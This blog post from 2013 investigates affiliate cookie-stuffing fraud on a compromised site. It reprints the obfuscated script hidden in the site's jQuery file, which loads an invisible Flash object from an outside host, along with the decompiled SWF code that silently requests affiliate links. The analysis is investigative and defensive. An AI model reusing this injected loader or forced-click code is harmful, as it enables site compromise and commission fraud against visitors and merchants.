“babyface” compromises qbnews.cn

Posted by on Nov 18, 2013 in Affiliate Fraud, Cookie-Stuffing, Mad Monday

Qbnews.cn ranks in the top 54,000 sites world-wide. Load it up in your browser and you’ll see nothing out of the ordinary. Fire up a Web debugger and monitor the outbound traffic from your machine though, and you will see an entirely different story: affiliate fraud.

This site has been compromised and the attacker (aka babyface) is using it to force the user’s browser into invisibly visiting a number of merchants via affiliate links. If the user then buys anything from the merchants in question within a certain amount of time, the fraudster behind all of this is paid a commission.

As always, finding the fraud is easy but telling the story of how it happens is the tricky part. This one had me stumped for a few minutes, so if you are up for a challenge then try it out for yourself before reading any further. If you’re still stumped, then let’s begin.

With reference to this packet log, loading up qbnews.com is going to result in a request www.52zhishi.com/v.swf which is then responsible for requesting www.52zhishi.com/v.asp. The ASP file returns a list of URLs (affiliate clicks included), the Flash payload in the browser then invisibly requests each of the links and cookies returned in these lookups result in forced/faked affiliate clicks.

The question now is where does the initial request to 52zhishi.com come from, i.e., what exactly is responsible for it? If you do a search for it statically (scan the HTML, search the packet trace) you’re not going to find the element responsible. And if you do a dynamic search (via the DOM) you’re still not going to find it. Babyface is somewhat predictable in that like much of the technical marvels blackhats in this space, he was not the brightest bulb on the ever shrinking Christmas tree specially reserved for them: he was totally predictable.

Take a look at http://www.qbnews.cn/statics/js/jquery.min.js and you’ll find what looks to be a Jquery library. But keep digging and you’ll come across something that shouldn’t be in there:

(function(){if(document.cookie.indexOf(String.fromCharCode(98, 97, 98, 121, 102, 97, 99, 101))==-1){try{var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);var c=document;c.cookie=String.fromCharCode(98,97,98,121,102,97,99,101)+"=Yes;path=/;expires.../code>

In compromising this site, he has hidden his activities in this Jquery library. I've broken this down with the addition of my own comments (that's everything after //):

// so what we have here is code that will run every single time 
// qbnews.cn loads on a javascript enabled browser
(function()
{
  // Babyface is checking to see if a certain cookie has been set. 
  // If it has not then the following code will be executed. 
  // Instead of putting the name of the cookie as a string in the code
  // this genius has tried to throw investigators off of his tracks 
  // by making it a sequence of characters, when you evaluate these 
  // characters the name of the cookie comes out to "babyface" 
  if(document.cookie.indexOf(
    String.fromCharCode(98,97, 98,121, 102,97,99,101))==-1)
  {
    try
    {
      var expires=new Date();

      // babyface sets an expiry date for the cookie
      // 24*60*60 = 86400 seconds which is one day. so basically
      // he doesn't want to repeatedly attack the same browser
      // if it visits the site more than once in 24 hours
      expires.setTime(expires.getTime()+24*60*60*1000);
      var c=document;
      c.cookie=String.fromCharCode(98,97,98,121,102,97,99,101) 
        + "=Yes;path=/;expires="+expires.toGMTString();
      var s=c.createElement("span");

      // getting ready to inject a flash payload which will kick 
      // off the attack. The payload is delivered from character 
      // sequence below which equals "http://www.52zhishi.com/v.swf"
      var p=String.fromCharCode(
        104,116,116,112,58,47,47,119,119, 
        119,46,53,50,122,104,105,115,104,
        105,46,99,111,109,47,118,46,115,119,102) 
        + "?i=" + (new Date()).valueOf();
      s.innerHTML=
        '<object type="application/x-shockwave-flash" data="'+p
        +'" width="1" height="1"> ';
        (function()
        {
          if(!c.body)
          {
            setTimeout(arguments.callee,1000)
          }
          else
          {
            c.body.insertBefore(s,c.body.lastChild)
          }
        })()
    }
    catch(e)
    {
    }
  }
})();

So the JavaScript above answers our earlier question of what is responsible for the request to 52zhishi.com. The SWF that is loaded a result of this JavaScript then calls an ASP file which has all of the links to which a visit will be forced. This SWF decompiles to the following dreadful code:

package flashcs_old_fla {
    import flash.events.*;
    import flash.display.*;
    import flash.net.*;
    import flash.system.*; 
    public dynamic class MainTimeline extends movieclip {
 
        public var loader:URLLoader;
        public var url:string;
        public var reqURL:URLRequest;
 
        public function MainTimeline(){
            addFrameScript(0, frame1);
        }
        function frame1(){
            Security.allowdomain("*");
            url = "http://www.52zhishi.com/v.asp";
            reqURL = new URLRequest(url);
            loader = new URLLoader(reqURL);
            loader.addEventListener(Event.COMPLETE, handleComplete);
            loader.dataFormat = URLLoaderDataFormat.VARIABLES;
        }
        public function handleComplete(_arg1:Event):void{
            var loader:* = null;
            var safe:* = nan;
            var url1:* = null;
            var url2:* = null;
            var url3:* = null;
            var url4:* = null;
            var url5:* = null;
            var url6:* = null;
            var url7:* = null;
            var url8:* = null;
            var url9:* = null;
            var url10:* = null;
            var url11:* = null;
            var url12:* = null;
            var url13:* = null;
            var url14:* = null;
            var url15:* = null;
            var url16:* = null;
            var url17:* = null;
            var url18:* = null;
            var url19:* = null;
            var url20:* = null;
            var request1:* = null;
            var request2:* = null;
            var request3:* = null;
            var request4:* = null;
            var request5:* = null;
            var request6:* = null;
            var request7:* = null;
            var request8:* = null;
            var request9:* = null;
            var request10:* = null;
            var request11:* = null;
            var request12:* = null;
            var request13:* = null;
            var request14:* = null;
            var request15:* = null;
            var request16:* = null;
            var request17:* = null;
            var request18:* = null;
            var request19:* = null;
            var request20:* = null;
            var event:* = _arg1;
            loader = URLLoader(event.target);
            safe = new number(loader.data["safe"]);
            url1 = new string(loader.data["url1"]);
            url2 = new string(loader.data["url2"]);
            url3 = new string(loader.data["url3"]);
            url4 = new string(loader.data["url4"]);
            url5 = new string(loader.data["url5"]);
            url6 = new string(loader.data["url6"]);
            url7 = new string(loader.data["url7"]);
            url8 = new string(loader.data["url8"]);
            url9 = new string(loader.data["url9"]);
            url10 = new string(loader.data["url10"]);
            url11 = new string(loader.data["url11"]);
            url12 = new string(loader.data["url12"]);
            url13 = new string(loader.data["url13"]);
            url14 = new string(loader.data["url14"]);
            url15 = new string(loader.data["url15"]);
            url16 = new string(loader.data["url16"]);
            url17 = new string(loader.data["url17"]);
            url18 = new string(loader.data["url18"]);
            url19 = new string(loader.data["url19"]);
            url20 = new string(loader.data["url20"]);
            if (safe == 1){
                try {
                    request1 = new URLRequest(url1);
                    request2 = new URLRequest(url2);
                    request3 = new URLRequest(url3);
                    request4 = new URLRequest(url4);
                    request5 = new URLRequest(url5);
                    request6 = new URLRequest(url6);
                    request7 = new URLRequest(url7);
                    request8 = new URLRequest(url8);
                    request9 = new URLRequest(url9);
                    request10 = new URLRequest(url10);
                    request11 = new URLRequest(url11);
                    request12 = new URLRequest(url12);
                    request13 = new URLRequest(url13);
                    request14 = new URLRequest(url14);
                    request15 = new URLRequest(url15);
                    request16 = new URLRequest(url16);
                    request17 = new URLRequest(url17);
                    request18 = new URLRequest(url18);
                    request19 = new URLRequest(url19);
                    request20 = new URLRequest(url20);
                    sendToURL(request1);
                    sendToURL(request2);
                    sendToURL(request3);
                    sendToURL(request4);
                    sendToURL(request5);
                    sendToURL(request6);
                    sendToURL(request7);
                    sendToURL(request8);
                    sendToURL(request9);
                    sendToURL(request10);
                    sendToURL(request11);
                    sendToURL(request12);
                    sendToURL(request13);
                    sendToURL(request14);
                    sendToURL(request15);
                    sendToURL(request16);
                    sendToURL(request17);
                    sendToURL(request18);
                    sendToURL(request19);
                    sendToURL(request20);
                } catch(e:error) {
                };
            };
        }
    }

}//package flashcs_old_fla

I give babyface a 1/10:

  • 1 point for Cookie-Stuffing
  • 1 point for compromising a server
  • 1 point for covering his tracks with obfuscated javascript
  • 1 point for trying to protect himself through javascript-set cookies
  • 1 point for having an SWF payload do the dirty work
  • -1 point for putting all of his eggs in one basket in the ASP response. Full dump here. Note the Amazon China affiliate click link (affiliate id 51fanlirb-23). He should be rotating through each of these and protecting them from investigators and other blackhat competitors
  • -3 points for absolutely dreadful code in the SWF
  • « »

1 Comment

  1. Bill
    November 19, 2013

    Wow so now they dont even have to buy traffic…they get it all for free!!This crook in particular must be making thousands of dollars from just that simple code!This needs to be adressed as we affilaites are losing alot!